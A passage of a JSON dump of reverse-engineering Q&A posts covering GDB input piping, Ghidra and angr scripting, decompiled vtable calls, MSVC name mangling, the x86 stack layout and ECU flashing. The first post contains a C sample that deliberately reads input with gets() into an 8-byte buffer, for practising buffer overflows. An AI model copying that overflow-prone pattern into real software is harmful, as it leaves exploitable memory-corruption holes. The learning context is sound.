        "CreationDate": "2020-04-04T14:00:46.133",
        "Body": "<p>I am trying to learn GDB to better understand buffer overflows but I can't find an answer to my problem which is how can I send a Python-generated output to the program when the program asks for user input (the <b>gets</b> function in my code below). I can type CTRL+C to send SIGINT but I have not found any way to send the output back to the program.</p>\n\n<p>Sample program (disregard the buffer overflow):</p>\n\n<pre>#include \nint main(int argc, char **argv)\n{\nchar buf[8];\n<b>gets(buf);</b>\nprintf(\"%s\\n\", buf);\nreturn 0;\n}\n</pre>\n\n<p>Sample Python script I want to do:</p>\n\n<pre>\npython -c \"print 'A' * 10\"\n</pre>\n\n<p>The Python output I want the <b>gets</b> function to read:</p>\n\n<pre>\nAAAAAAAAAA\n</pre>\n",
        "Title": "GDB - Send Python output to the program after SIGINT",
        "Tags": "|gdb|python|",
        "Answer": "<p>You can specify the input you want to pass to the program when executing \"run\" via GDB:</p>\n\n<pre><code>(gdb) r &lt;&lt;&lt; $(python -c \"print 'A' * 10\")\n</code></pre>\n\n<p>Example:</p>\n\n<pre><code>(gdb) r &lt;&lt;&lt; $(python -c \"print 'A' * 10\")\nStarting program: /media/sf_CTFs/stackoverflow/24610/test &lt;&lt;&lt; $(python -c \"print 'A' * 10\")\nAAAAAAAAAA\n[Inferior 1 (process 953) exited normally]\n(gdb)\n</code></pre>\n\n<p>[Edit, based on comment]</p>\n\n<p>If you want to be able to interactively decide what the next input you want to send is, without scripting the whole thing beforehand (and assuming that you can't or don't want to use a library such as <code>pwntools</code> to automate the decision process), you might be able to make use of named pipes. However I can't promise that this is the best or most convenient way. At the very least, this method is OS dependent. </p>\n\n<p>First, create a named pipe:</p>\n\n<pre><code>root@kali:~# mkfifo my_pipe\n</code></pre>\n\n<p>Then, open two shells. </p>\n\n<p>On one shell, redirect GDB's input as the pipe's output:</p>\n\n<pre><code>root@kali:/media/sf_CTFs/stackoverflow/24610# gdb -nh test &lt; ~/my_pipe\n</code></pre>\n\n<p>On the other shell, open a Python REPL and connect to the named pipe:</p>\n\n<pre><code>&gt;&gt;&gt; f = open(\"/root/my_pipe\", \"w\")\n</code></pre>\n\n<p>The moment you open the pipe, you should see GDB get unblocked on the first shell:</p>\n\n<pre><code>Reading symbols from test...\n(No debugging symbols found in test)\n(gdb)\n</code></pre>\n\n<p>Now, define the following function in the Python REPL:</p>\n\n<pre><code>&gt;&gt;&gt; def cmd(f, s): f.write(s); f.write(\"\\n\"); f.flush()\n...\n</code></pre>\n\n<p>You should be able to enter input for GDB using the newly defined <code>cmd</code> command. For example, to run the program, enter:</p>\n\n<pre><code>&gt;&gt;&gt; cmd(f, \"r\")\n</code></pre>\n\n<p>This will run the program in the other shell:</p>\n\n<pre><code>(gdb) Starting program: /media/sf_CTFs/stackoverflow/24610/test\nPlease enter input\n</code></pre>\n\n<p>You can break GDB with CTRL+C, just remember that all commands need to be entered via <code>cmd</code>.</p>\n\n<p>When the time is right, you can send your Python command:</p>\n\n<pre><code>&gt;&gt;&gt; cmd(f, 'A' * 10)\n</code></pre>\n\n<p>It will be received in the other side:</p>\n\n<pre><code>(gdb) Continuing.\nAAAAAAAAAA\n[Inferior 1 (process 1187) exited normally]\n</code></pre>\n\n<p>Don't forget to close the named pipe when you're done:</p>\n\n<pre><code>&gt;&gt;&gt; f.close()\n</code></pre>\n\n<p>If this works for you, you can go ahead and create a Python script that acts as an interactive shell, instead of using the REPL.</p>\n"
    },
    {
        "Id": "24612",
        "CreationDate": "2020-04-04T17:20:18.317",
        "Body": "<p>I'm new to ghidra.\nI download the easy_reverse from <a href=\"https://crackmes.one/crackme/5b8a37a433c5d45fc286ad83\" rel=\"nofollow noreferrer\">crackme.one</a> and open the executable file in ghidra.</p>\n\n<p>When I'm trying to edit the <code>main</code> function signature I get an error: <code>Can't parse name: argv[]</code>.\nI searched for this error but found nothing on Google/GitHub and I run out of ideas what to do next to solve it. I would appreciate any help!</p>\n\n<p>Here is a screenshot (I use mac):\n<a href=\"https://i.stack.imgur.com/md7Nh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/md7Nh.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Ghidra error when edit main signature function",
        "Tags": "|c|ghidra|functions|",
        "Answer": "<p>I continued to mess with it some more and found a way.\nI correct the signature to have a pointer of argv:</p>\n\n<pre><code>int main(int argc, char **argv)\n</code></pre>\n\n<p>But I don't really know why the pointer works and the standard C signature didn't. Hope for someone to clarify this.</p>\n"
    },
    {
        "Id": "24614",
        "CreationDate": "2020-04-04T19:04:29.853",
        "Body": "<p>I have been trying to extract the function prototypes from a binary file using Ghidra. Up till now what I have done was to use Ghidra's included \"Decompile\" script and filtered out the function prototypes through the produced text file using python. However, this approach seems to be cumbersome and sometimes it fails to produce the intended results when the compiler options are changed. I feel that there may be a quicker way to get these. Given a binary, my requirement is to get all the function prototypes such as <code>float strtof_l(char *__nptr,char **__endptr,__locale_t __loc)</code> without the function bodies. Is there any existing script to do this? Or is there a method in the API that I could loop upon. Thank you very much. </p>\n",
        "Title": "Way to get all the function prototype using Ghidra",
        "Tags": "|binary-analysis|firmware|radare2|ghidra|",
        "Answer": "<p>You can use <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/database/function/FunctionManagerDB.html\" rel=\"noreferrer\"><code>FunctionManager</code></a> to get all the functions in the current program and then, from it iterate and get signatures of each.</p>\n\n<pre><code>fm = currentProgram.getFunctionManager()\nfunctions = fm.getFunctions(True)\nfor f in functions:\n  print(f.getSignature().getPrototypeString())\n</code></pre>\n\n<p>The output:</p>\n\n<pre><code>Signatures.py&gt; Running...\nchar * strcpy(char * __dest, char * __src)\nint mkdir(char * __path, __mode_t __mode)\nint fclose(FILE * __stream)\nint printf(char * __format, ...)\nvoid * memset(void * __s, int __c, size_t __n)\nvoid * memcpy(void * __dest, void * __src, size_t __n)\nFILE * fopen(char * __filename, char * __modes)\nchar * strcat(char * __dest, char * __src)\n...\n</code></pre>\n"
    },
    {
        "Id": "24629",
        "CreationDate": "2020-04-06T15:28:02.437",
        "Body": "<p>The ECU (Engine Control Unit) MT05 from Delphi is used today in many motorbikes and ATV's:</p>\n\n<ul>\n<li>Regal Raptor (Raptor, Daytona and Spider 350)</li>\n<li>AJP (PR7)</li>\n<li>Benelli (BN600)</li>\n<li>CFmoto (Terralander X8)</li>\n<li>Zongshen (RX3)</li>\n<li>Zhejiang (TR125)</li>\n<li>Hyosung (GT650RC)</li>\n<li>Scomadi scooters</li>\n<li>Riya scooters</li>\n<li>Quadro scooters</li>\n<li>and more... </li>\n</ul>\n\n<p>But this ECU is not OBD2 compliant and so all current OBD2 scanner software will fail to read even the most basic parameters like \"Engine speed\".</p>\n\n<p>I want to read the current fault code (DTC).\nHow can I do this?</p>\n\n<p><a href=\"https://i.stack.imgur.com/5ziY0.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5ziY0.jpg\" alt=\"Delphi MT05 ECU\"></a></p>\n",
        "Title": "How to scan the ECU Delphi MT05?",
        "Tags": "|ecu|",
        "Answer": "<p>After investigating a lot I found that there is only one software able to communicate with this ECU.\nIt is the ancient <strong>PCHUD</strong> from Delco which is mentioned in the manual of the Delphi MT05.</p>\n<p>But this program has been written in 1993 for Windows 3.\nIt does not run on a 64 bit Windows which is the standard nowadays.\nIt is quite primitive and does not support ELM 327 adapters (which did not exist in 1993)</p>\n<p>So I began to reverse engineer this old software (which was difficult to find) and wrote my own program which now replaces it: <strong>HUD ECU Hacker</strong></p>\n<p>I designed HUD ECU Hacker as &quot;community software&quot;.\nThis means that the program is 100% configurable by the user in an XML file.\nThis &quot;parameter file&quot; contains the commands sent to the ECU and how to interpret the responses.\nThis allows to adapt HUD ECU Hacker also to other ECU's.</p>\n<p>Meanwhile also the Liteon MC21, Lifan EFI 9 and Yeson 28S ECUs have been added. Also support for <strong>CAN bus</strong> (OBD2 scanning and sniffing) has been added. Supported protocols: ISO9141, ISO14230, ISO15765, CAN Raw.</p>\n<p>The program is still growing. I added lots of new features in the last months.</p>\n<p>Now it can also download the <strong>flash memory</strong> from the MT05 ECU with the calibration tables, correct the checksum and program the flash memory (tuning).</p>\n<p>HUD ECU Hacker finds <strong>calibration tables</strong> automatically in a flash memory file. It finds approx 170 tables and 500 scalar values.\nCalibration tables can also be displayed as 3D model.</p>\n<p>Download and detailed description here:\n<a href=\"https://netcult.ch/elmue/HUD%20ECU%20Hacker/\" rel=\"nofollow noreferrer\">https://netcult.ch/elmue/HUD%20ECU%20Hacker/</a></p>\n<p><a href=\"https://i.stack.imgur.com/XTK5s.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XTK5s.png\" alt=\"HUD ECU Hacker Control\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/poGcy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/poGcy.png\" alt=\"HUD ECU Hacker Dashboard\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/tX8PI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tX8PI.png\" alt=\"HUD ECU Hacker Graph\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/tIzbr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tIzbr.png\" alt=\"HUD ECU Hacker Delphi MT05 Calibration Table Tuning\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/Z0N7f.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Z0N7f.png\" alt=\"HUD ECU Hacker Delphi MT05  Calibration Table Tuning 3D\" /></a></p>\n"
    },
    {
        "Id": "24634",
        "CreationDate": "2020-04-06T20:35:58.293",
        "Body": "<p>BLUF: When executing <code>sudo chroot . ./qemu-mipsel-static ./bin/busybox</code> from the squashfs-root folder the error <code>/lib/ld-uClibc.so.0: No such file or directory</code> is returned. Failing to figure out how to fix the error.</p>\n\n<p>I am in the early stages of analyzing a firmware update for a consumer router. Busybox is included with the firmware and I am trying to see what I can run with it in an emulated environment. </p>\n\n<p>I see that a version of the uClibc library is included with the firmware: <code>/lib/ld-uClibc-0.9.29.so</code></p>\n\n<p>I tried symlinking ld-uClibc-0.9.29.so to ld-uClibc.so.0 but I receive <code>ln: failed to create symbolic link 'ld-uClibc.so.0': Operation not permitted</code> so my understanding of the symbolic linking process in this context is certainly coming up short.</p>\n\n<p>How can I get qemu-mipsel-static to recognize the library? Do I need to install a different library?</p>\n",
        "Title": "ld-uClibc.so.0: No Such file or directory when running qemu-mipsel-static",
        "Tags": "|qemu|",
        "Answer": "<p>The issue turned out that the directories I was working in were mounted as a share in a VirtualBox guest. By default symbolic linking is not enabled on a shared folder as the host OS might not be able to understand a symbolic link. More information can be found here in the second comment: <a href=\"https://www.virtualbox.org/ticket/18572?cversion=0&amp;cnum_hist=2\" rel=\"nofollow noreferrer\">https://www.virtualbox.org/ticket/18572?cversion=0&amp;cnum_hist=2</a></p>\n\n<p>My problem was solved once enabling symbolic linking for my shared drive and then creating a symbolic link from squashfs-root/lib/ld-uClibc-0.9.29.so to squashfs-root/lib/ld-uClic.so.0</p>\n"
    },
    {
        "Id": "24637",
        "CreationDate": "2020-04-07T03:52:47.227",
        "Body": "<p>While reading <a href=\"https://link.springer.com/article/10.1134/S0361768809020066\" rel=\"nofollow noreferrer\">this</a> paper on type recovery from executables, I came across following paragraph:</p>\n\n<blockquote>\n  <p>It is worth noting that the domain of parameters of a function can be\n  considered as a structure placed on the stack; in this case, the\n  register %ebp points to the beginning of this structure.\n  For that reason, the automatic detection of the structured types\n  located at the stack (local variables and function parameters of a\n  structured type) is very complicated and is not considered in this\n  paper.</p>\n</blockquote>\n\n<p>And they mentioned that they don't consider such structures in their analysis. Do they simply mean programs like these?</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nstruct P\n{\n  int a;\n  int b;\n};\n\nint main()\n{\n  struct P p, *pp;\n  pp = &amp;p;\n  pp-&gt;a = 4;\n  printf(\"%d\\n\", pp-&gt;a);\n  return 0;\n}\n</code></pre>\n\n<p>Or is there any other way which resonates their statement?</p>\n",
        "Title": "structures defined on stack?",
        "Tags": "|decompilation|type-reconstruction|",
        "Answer": "<p>Consider a function like this:</p>\n\n<pre><code>int func1(int x)\n{\n  int y;\n  char buf[16];\n  y = x;\n  buf[0]=x&amp;0xff;\n  return y+buf[0];\n}\n</code></pre>\n\n<p>If the compiler uses a naive variable allocation algorithm and does not try to use registers for variables, it will likely lay out the variables sequentially in the stack:</p>\n\n<pre><code>off|\n00 | y dd ?\n04 | buf db 16 dup ?\n</code></pre>\n\n<p>Which can be thought of as a structure:</p>\n\n<pre><code> struct frame_func1\n {\n    int y;\n    char buf[16];\n };\n</code></pre>\n\n<p>In reality, the \"base\" of the structure will not be <code>ebp</code>, since usually it points between local variables and incoming arguments, i.e \"after\" this pseudo-structure.</p>\n\n<p>I'm not quite sure why the paper goes to the conclusion mentioned in your quote. Maybe the authors mean that detecting local variables which are structures would be akin to detecting structure members in a structure an thus out of scope? Not sure....</p>\n"
    },
    {
        "Id": "24650",
        "CreationDate": "2020-04-08T08:04:09.647",
        "Body": "<p>What is the best way to get calling x-refs for a specific function?</p>\n\n<p>I am aware of the following method: </p>\n\n<pre><code>func = getFirstFunction()\n\nwhile func is not None:\n    func_name = func.getName()\n    if func_name == &lt;my_func&gt;:\n        entry_point = func.getEntryPoint()\n        references = getReferencesTo(entry_point)\n\nfunc = getFunctionAfter(func)\n</code></pre>\n\n<p>Is there a way to do that without iterating through all the functions? </p>\n",
        "Title": "Ghidra Python - Get x-refs of a specific function",
        "Tags": "|python|ghidra|",
        "Answer": "<p>getReferencesTo takes an address</p>\n\n<p>toAddr() converts a string to Address you can combine both </p>\n\n<p>like this</p>\n\n<pre><code>&gt;&gt;&gt; getReferencesTo(toAddr(\"ZwCreateKey\"))\n\narray(ghidra.program.model.symbol.Reference, \n[\nFrom: 14095680c To: 1401b33c0 Type: DATA Op: 0 IMPORTED, \nFrom: 140a22fbd To: 1401b33c0 Type: DATA Op: 0 DEFAULT, \nFrom: Entry Point To: 1401b33c0 Type: EXTERNAL Op: -1 DEFAULT, \nFrom: 140628dc5 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \nFrom: 1407478dd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \nFrom: 1406bdfcd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \nFrom: 1408db10c To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \nFrom: 1406f5dec To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \nFrom: 1407c7190 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \nFrom: 1407d01da To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \nFrom: 1405a8745 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, \n</code></pre>\n\n<p>the function limits its display to max 4096 refs if  there are  more\nuse the recommended ReferenceManager</p>\n\n<pre><code>&gt;&gt;&gt; refs = currentProgram.referenceManager.getReferencesTo(toAddr(\"ZwCreateKey\"))\n&gt;&gt;&gt; for i in refs:\n...     print i\n... \nFrom: 14095680c To: 1401b33c0 Type: DATA Op: 0 IMPORTED\nFrom: 140a22fbd To: 1401b33c0 Type: DATA Op: 0 DEFAULT\nFrom: Entry Point To: 1401b33c0 Type: EXTERNAL Op: -1 DEFAULT\nFrom: 140628dc5 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT\nFrom: 1407478dd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT\nFrom: 1406bdfcd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT\nFrom: 1408db10c To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT\n</code></pre>\n"
    },
    {
        "Id": "24656",
        "CreationDate": "2020-04-08T15:52:26.083",
        "Body": "<p>I am looking at some assembly code and can't get my head around it. The code below is shown in IDA. My question revolves on what happens in the loop.</p>\n\n<p>Let me explain what I exactly don't understand in the loop: Above the little loop <code>eax</code> is set to be <code>FFFFFFFFh</code>, which is basically \"1\" in all the 32 bits in <code>eax</code>(?). In the little loop <code>eax</code> is incremented. But <code>eax</code> is at max value? What happens when I increment <code>eax</code>? Will it go back to 0?</p>\n\n<p><a href=\"https://i.stack.imgur.com/Nvjpq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Nvjpq.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "increment a register which has maximal value?",
        "Tags": "|ida|assembly|",
        "Answer": "<p>As commented, incrementing a maximum value indeed wraps back to 0. \nHowever, I\u2019d like to explain a little about why the code looks like this. \nThe original source probably looked similar to:</p>\n\n<pre><code>int pos = 0;\nwhile (buf[pos]==0) pos++;\n</code></pre>\n\n<p>Now, a naive/literal translation to assembly would have the check and conditional jump out of the loop at the start and an unconditional jump backwards at the end. However, by converting it into a do-while loop you can get rid of the unconditional jump and have only the conditional one at the end:</p>\n\n<pre><code>int pos = -1;\ndo\n{\n  pos++;\n} while (buf[pos]==0);\n</code></pre>\n\n<p>While a minor optimization, it can improve branch prediction and over a bug binary result in substantial performance improvements. \nThis is most likely why you see the initial value of -1 which is represented as 0FFFFFFFFh. </p>\n"
    },
    {
        "Id": "24661",
        "CreationDate": "2020-04-09T13:19:36.713",
        "Body": "<p><code>__dest = (byte *)(**(code **)(*plVar5 + 0x10))(plVar5,(ulonglong)(numBytes + 1));\nmemcpy(__dest,param_2,numBytes + 1);</code></p>\n\n<p>Can someone  please  explain what the first line does step by step? I get that it's preparring a byte array for the memcpy function but I'm confused by the rest, especially that \"code\" type. Is that an opcode or something ?</p>\n",
        "Title": "What does this decompiled line mean?",
        "Tags": "|c++|arm|ghidra|",
        "Answer": "<p><code>code</code> does mean that something is interpreted as code to execute (most likely a function)</p>\n\n<p>But more can be recovered from this snippet than just that something is executed:</p>\n\n<h2>Step 1: <code>(**(code **)(*plVar5 + 0x10))</code></h2>\n\n<p>This is most likely a C++ vtable call.</p>\n\n<p><code>plVar5</code> should be some variable containing a C++ object, or rather a pointer that should be interpreted as a C++ object. At offset 0 (which is just written <code>*plVar5</code>) is the pointer to the vtable of the object. The element at offset 0x10 in the vtable is some function. If this is the 3rd (vtable[2]) or the 5th (vtable[4]) depends on the pointer size, but let's pretend this is 64bit for this explanation ). This means that this is the 3rd entry, which is typically the first true vtable function after the constructor and destructor at vtable[0] and vtable[1]. Lets call this function <code>prepare_buffer</code>.</p>\n\n<p>So the more understandable translation would be</p>\n\n<p><strong><code>plVar5-&gt;vtable-&gt;prepare_buffer</code></strong></p>\n\n<h2>Step 2: <code>(byte *)plVar5-&gt;vtable-&gt;prepare_buffer(plVar5,(ulonglong)(numBytes + 1))</code></h2>\n\n<p>After substituting our previous result into <code>(byte *)(**(code **)(*plVar5 + 0x10))(plVar5,(ulonglong)(numBytes + 1))</code></p>\n\n<p>Because this is C++ function of an object the first parameter is the <code>self</code> parameter, which has to be present for non static functions. So the only true argument is <code>(ulonglong)(numBytes + 1)</code>. The result is assigned to a variable of type  <code>byte *</code> and casted as such.</p>\n\n<h2>Step 3: <code>memcpy(__dest,param_2,numBytes + 1);</code></h2>\n\n<p>This is indeed just a memcopy to the buffer returned by the previous function. Because the only real argument of that previous function call was the number of bytes copied I am assuming it was setting up this buffer (and called it <code>prepare_buffer</code>). If you can find out the class of the variable <code>plVar5</code> you can find the vtable for this class, and then find the actual function that is called here to confirm this.</p>\n\n<h2>Further Reading</h2>\n\n<p>If you want to learn more about this I suggest <a href=\"https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/\" rel=\"nofollow noreferrer\">https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/</a> (which I skimmed to explain this) and looking at the Ghidra Advanced Course at <a href=\"https://ghidra.re/online-courses/\" rel=\"nofollow noreferrer\">https://ghidra.re/online-courses/</a> that includes a Chapter on \"Virtual Function Tables\" which covers the Ghidra specifics of getting proper decompiler output for such cases.</p>\n"
    },
    {
        "Id": "24663",
        "CreationDate": "2020-04-09T17:34:55.123",
        "Body": "<p>I've discovered undname.exe today and tried it on several functions. I got some incorrect results and I'm wondering why. I see two main reasons that could do that:</p>\n\n<ul>\n<li>The mangling can change between msvc versions and I should find the version of undname.exe that fit my target</li>\n<li>The tool I use to extract the function names gives inaccurate results</li>\n</ul>\n\n<p>Here's an example of a wrong result: </p>\n\n<pre><code>Undecoration of :- \"?GetClassNameW@User@@QAE?AVFName@@H@Z\"\nis :- \"public: class FName __thiscall User::GetClassNameW(int)\"\n</code></pre>\n\n<p>After trying this signature and receiving a stack error, I looked at the disassembled code of <code>GetClassNameW</code> and realised the function signature actually was <code>void(__thiscall* user_getClassNameW)(User*, FName*, int);</code> </p>\n\n<p>I do not know the exact version of msvc used to compile the example and it seems that the only way to download undname.exe is to install visual studio, so I can't easily test this.</p>\n\n<p>Any idea where the problem could come from?</p>\n",
        "Title": "undname.exe: invalid undecorated names",
        "Tags": "|c++|msvc|name-mangling|",
        "Answer": "<p>As @blabb says undname is correct so it's your other tool that is 'incorrect'.\nHowever, it's worth looking at this in more detail as it's probably not as incorrect as you think.</p>\n\n<p>To understand this though you have to delve a little into ABIs and think how a C++ function call works in practice.</p>\n\n<p>Firstly, a C++ member function is in some sense like a C function with a 'hidden' <code>this</code> pointer passed as the first parameter.  (This is what <code>__thiscall</code> is saying behind the scenes.)</p>\n\n<pre><code>// this function\nvoid class::member();\n// is really\nvoid __thiscall class::member();\n\n// and works like\nvoid __stdcall class_member( Class* this );\n</code></pre>\n\n<p>Secondly, the caller of function returning a ('complicated') struct/class is responsible for allocating the memory for the struct/class and passing the function a pointer to this memory.  The function can then write the relevant details there.  Hence -</p>\n\n<pre><code>// this function\ncomplex_struct_return_type function();  \n\n// works like\nvoid function( complex_struct_return_type * );\n</code></pre>\n\n<p>Putting these together (and ignoring accessiility specifiers)-</p>\n\n<pre><code>// this function\nFName __thiscall User::GetClassNameW( int param );\n\n// works like\nvoid __stdcall User_GetClassNameW( User* this, FName* pointer_to_return_value, int param );\n</code></pre>\n\n<p>You will see this is very similar is essence to your other tool's output.\nI'd just observe that -</p>\n\n<ul>\n<li>it is still labelling the function as <code>__thiscall</code>.  This doesn't quite make sense but is probably being done to indicate that the first parameter has special treatment in 32-bit code.</li>\n<li>it is changing the case of the initial letters.  This again is strictly incorrect.</li>\n</ul>\n\n<hr>\n\n<p>How these parameters get passed (by msvc) depends on whether it's compiled for 32 or 64-bit .</p>\n\n<ul>\n<li>For 32-bit code, <code>this</code> has special treatment and is passed in <code>ecx</code> with the rest of the parameters on the stack.</li>\n<li>For 64-bit code, <code>this</code> is treated as like the other parameters and hence, being the first of up to 4 parameters being passed in registers will be in <code>rcx</code></li>\n</ul>\n"
    },
    {
        "Id": "24664",
        "CreationDate": "2020-04-09T17:55:32.350",
        "Body": "<p>I would like to know how to export angr's disassembly in say txt file.</p>\n\n<p>I looked at the angr documentation - <a href=\"https://angr.io/api-doc/angr.html#module-angr.analyses\" rel=\"nofollow noreferrer\">https://angr.io/api-doc/angr.html#module-angr.analyses</a></p>\n\n<p>I found that there are some endpoints like - Disassembly, cfgfast under proj.analyses. I want to get objdump like disassembled input. <a href=\"https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_andriesse.pdf\" rel=\"nofollow noreferrer\">This</a> paper says that they used cfgfast for their analysis. So, I checked that class, but couldn't find particular methods to print the assembly. For e.g. in radare2, I can do -</p>\n\n<pre><code>r2.cmd('aaa')\nr2.cmd(f'pd $s &gt; {filename+\"_radare.txt\"}')\n</code></pre>\n\n<p>to get the disassembly after analysis.</p>\n",
        "Title": "How to export disassembly using angr",
        "Tags": "|angr|",
        "Answer": "<p>In angr, there are multiple ways to print out what you want. You can reference functions or basic blocks. All you need to print out disassembly is an address:</p>\n\n\n\n<pre><code>import angr\np = angr.Project(\"/bin/true\",auto_load_libs=False)\nblock = p.factory.block(p.entry)\nblock.pp()\n</code></pre>\n\n<p>In this case, I load the <code>true</code> binary, excluding its dynamic libraries, and I ask it for the disassembly at the entry address of the binary. The <code>pp</code> function stands for pretty print, and it will allow you to print assembly in a pretty format. </p>\n\n<p>Now getting every disassembled address in a linear format, like objdump, is much more hacky in angr. It would be much more advisable to use <a href=\"https://github.com/angr/angr-management\" rel=\"nofollow noreferrer\">angr-management</a> and copy the linear disassembly from the GUI, but for the sake of this question, here is a hacky script to get every basic blocks disassembly:</p>\n\n\n\n<pre><code>import angr\np = angr.Project(\"/bin/true\",auto_load_libs=False)\ncfg = p.analyses.CFGFast()\ncfg.normalize()\nfor func_node in cfg.functions.values():\n    if func_node.name.startswith(\"__\"):\n        continue\n    else:\n        for block in func_node.blocks:             \n            block.pp() \n</code></pre>\n\n<p>It is important to note that the disassembly may not be in order, though it will specify it's address -- this is because we disassemble in the order angr discovers functions. </p>\n"
    },
    {
        "Id": "24685",
        "CreationDate": "2020-04-11T10:23:48.977",
        "Body": "<p>Is there a way in Ghidra Python to get the corresponding decompile line by <code>RVA</code>? </p>\n\n<p>Or the opposite - get the corresponding <code>RVA</code> from a given line in a decompile?</p>\n",
        "Title": "Ghidra Python - Get Decompile Line Text by RVA",
        "Tags": "|decompilation|python|ghidra|",
        "Answer": "<p>I don't know how any examples how you could get the line like Ghidra would render it, but as a start you can look at <a href=\"https://github.com/schlafwandler/ghidra_ExportToX64dbg\" rel=\"nofollow noreferrer\">https://github.com/schlafwandler/ghidra_ExportToX64dbg</a>.</p>\n\n<p>The basic idea is to walk the C-AST and extract the ClangStatements that have a corresponding RVA.</p>\n\n<p>This has limitations, namely:</p>\n\n<blockquote>\n  <p>At the moment the source code export is limited to elements that appear as <code>ClangStatement</code> in the <code>ClangTokenGroup</code> returned by <code>getCCodeMarkup()</code>. This works fine for most variable assignments and function calls, but excludes most control flow altering constructs (like <code>if</code>, <code>for</code> or <code>while</code>).</p>\n</blockquote>\n\n<p>If you really need the line and not the ClangStatement, my first idea is to search for the Ghidra code that renders the AST, find the part where a line is rendered and extend it to retain a mapping from a line to a list of ClangStatements used in that line. Then you can iterate over the lines and filter for those that use a statement that has the RVA you are interested in.</p>\n"
    },
    {
        "Id": "24694",
        "CreationDate": "2020-04-12T21:36:51.367",
        "Body": "<p>According to the <a href=\"http://www.sco.com/developers/devspecs/abi386-4.pdf\" rel=\"nofollow noreferrer\">System V ABI for x86</a>, <code>esp</code> should be pointing at <code>argc</code> when entering <code>main</code>. However, I've seen many binaries where <code>argc</code> instead is retrieved from <code>esp + 4</code>, or <code>esp + 8</code>. Is this correct, or am I missing something? Also, why do these offset differ?</p>\n\n<p><a href=\"https://i.stack.imgur.com/X2FWQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/X2FWQ.png\" alt=\"Figure 3-31\"></a></p>\n",
        "Title": "x86 ELF - argc location on stack?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>I think your confusion stems from the fact that quoted part of the spec is talking about the <em>process entry point</em> which is a different concept from the C <code>main</code> function. The <code>main</code> is called by the C library startup code so it will follow the standard calling sequence rather than \"Initial process stack layout\". For 386, it means that <code>argc</code> will be the first value passed on the stack after the return address, and <code>argv</code> will be the second. I.e. at the beginning of <code>main</code>, the layout will look like this</p>\n\n<pre><code>|                |\n+----------------+\n| argv           | &lt;-- esp+8\n+----------------+\n| argc           | &lt;-- esp+4\n+----------------+\n| return address | &lt;-- esp\n+----------------+\n</code></pre>\n\n<p>If the compiler decides to use the frame pointer, then <code>argc</code> will be typically accessed as <code>[ebp+8]</code> due to the extra 4 bytes taken by the saved <code>ebp</code>.</p>\n"
    },
    {
        "Id": "24699",
        "CreationDate": "2020-04-13T20:14:39.307",
        "Body": "<p>I am reversing Cryptex.exe 1.0 from Eldad.</p>\n\n<p><a href=\"https://i.stack.imgur.com/3hjS9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3hjS9.png\" alt=\"enter image description here\"></a></p>\n\n<p>There is unknown-data buffer address stored in edx which gets used as parameter for CryptHashData, which will hash 20 Bytes from there. Now I want to find which function actually writes this buffer (edx stores 0019F578 at this point of debugging)\nI don't get smart with [esp+C], because esp should be the last push exc, and counting from there it should be push 0?</p>\n\n<p>What I want to try is setting a breakpoint on .data 0019F578 without break (since it gets used alot by the program in general) and tracing all functions called till the breakpoint ds:CryptHashData. But that doesn't work in IDA. IDA will not recognize other breakpoints with break after I set up this.\nI'm glad to learn new methods about tracing, since it's very important to know.\n<a href=\"https://i.stack.imgur.com/MC445.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MC445.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Trace back regularly used .data variable in IDA",
        "Tags": "|breakpoint|tracing|",
        "Answer": "<p>Firstly, let's understand what goes into <em>edx</em>. <em>edx</em> contains the first argument passed to this function which is a pointer the data that we want to compute its MD5 hash. Looking at images, stack frame of the current function is like:</p>\n\n<pre><code>esp + 0x0 --&gt; | local_var_8 |\nesp + 0x4 --&gt; | local_var_4 |\nesp + 0x8 --&gt; | return_addr |\nesp + 0xC --&gt; |    arg_0    |\n</code></pre>\n\n<p>At the beginning of the function, <em>sub esp, 8</em> reserves 8 bytes on the stack for two local variables. Then you have the return address and arguments coming afterward. All those pushes that are used to pass arguments to <em>CryptCreateHash</em> will be poped back by that function before it returns to the current function, so the previous position of the stack will be preserved.</p>\n\n<p>I believe true reverse engineering consists of understanding the code, not blind trace. Instead of tracing a value on the stack, it is better to look for the caller of this function, understand who has called this function and wherein the code is this function called, and then what is the parameter sent to this 